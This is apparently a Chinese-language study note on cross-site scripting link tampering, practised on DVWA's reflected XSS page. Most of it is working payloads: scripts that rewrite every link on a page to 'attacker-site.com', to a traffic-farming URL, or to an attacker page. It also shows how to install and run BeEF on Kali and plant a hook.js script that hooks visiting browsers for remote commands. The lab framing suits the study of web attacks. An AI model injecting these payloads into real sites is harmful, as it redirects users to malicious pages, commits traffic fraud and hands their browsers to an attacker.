XSS篡改网页链接学习记录
JS代码讲解
window.onload 当窗口加载时,执行匿名函数。
使用for循环遍历所有获得的链接a标签。
<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
//获取a标签,由于页面不一定只有一个a标签,link也可是个数组
for(j=0;j<link.length;j++){
link[j].href="http://attacker-site.com/";}//替换为其他URL
}
</script>
XSS篡改链接
将篡改代码注入到对应的xss位置,以dvwa的反射型xss为例。
在url中注入一个payload
<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="http://attacker-site.com/";}
}
</script>
结果如下👇
如果将上述代码存储到存储型xss里边那么,这些链接都会被替换掉。有极大的危害性。
篡改链接指向流量URL
重复上述操作
<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="https://www.baidu.com";}//url为需要刷流量的url,以百度为例
}
</script>
这样点击任何链接都会转向被设定的url
以百度为例
这里就提醒一下,遇到不明网站的链接不要乱点。
篡改链接指向恶意URL
在kali里使用beef 来进行恶意链接的生成,利用hook.js执行其他命令
kali若没有的话,安装命令:
apt install beef-xss
出现部分内容未安装的情况运行下列命令
apt-get update
apt install beef-xss --fix-missing
--------------------------------------------------------------
//systemctl start beef-xss.service #开启beef
//systemctl stop beef-xss.service #关闭beef
//systemctl restart beef-xss.service #重启beef
安装完成后在终端输入👇
beef-xss
接着会让你设置一个密码(初始用户名为beef
启动服务后,开启apache
进入到/var/www/html文件夹下查看index.html中的
<script src="http://ip:端口/hook.js"></script>
//修改ip为虚拟机的ip并保存
接下来在反射型xss界面get提交
<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href="上边的ip/index.html";}
}
</script>
然后去访问这个链接
就可以在kali中的beef的网页中左栏会出现访问那个url的ip
类似这样👇 可以看到对应的信息以及一些可以执行的命令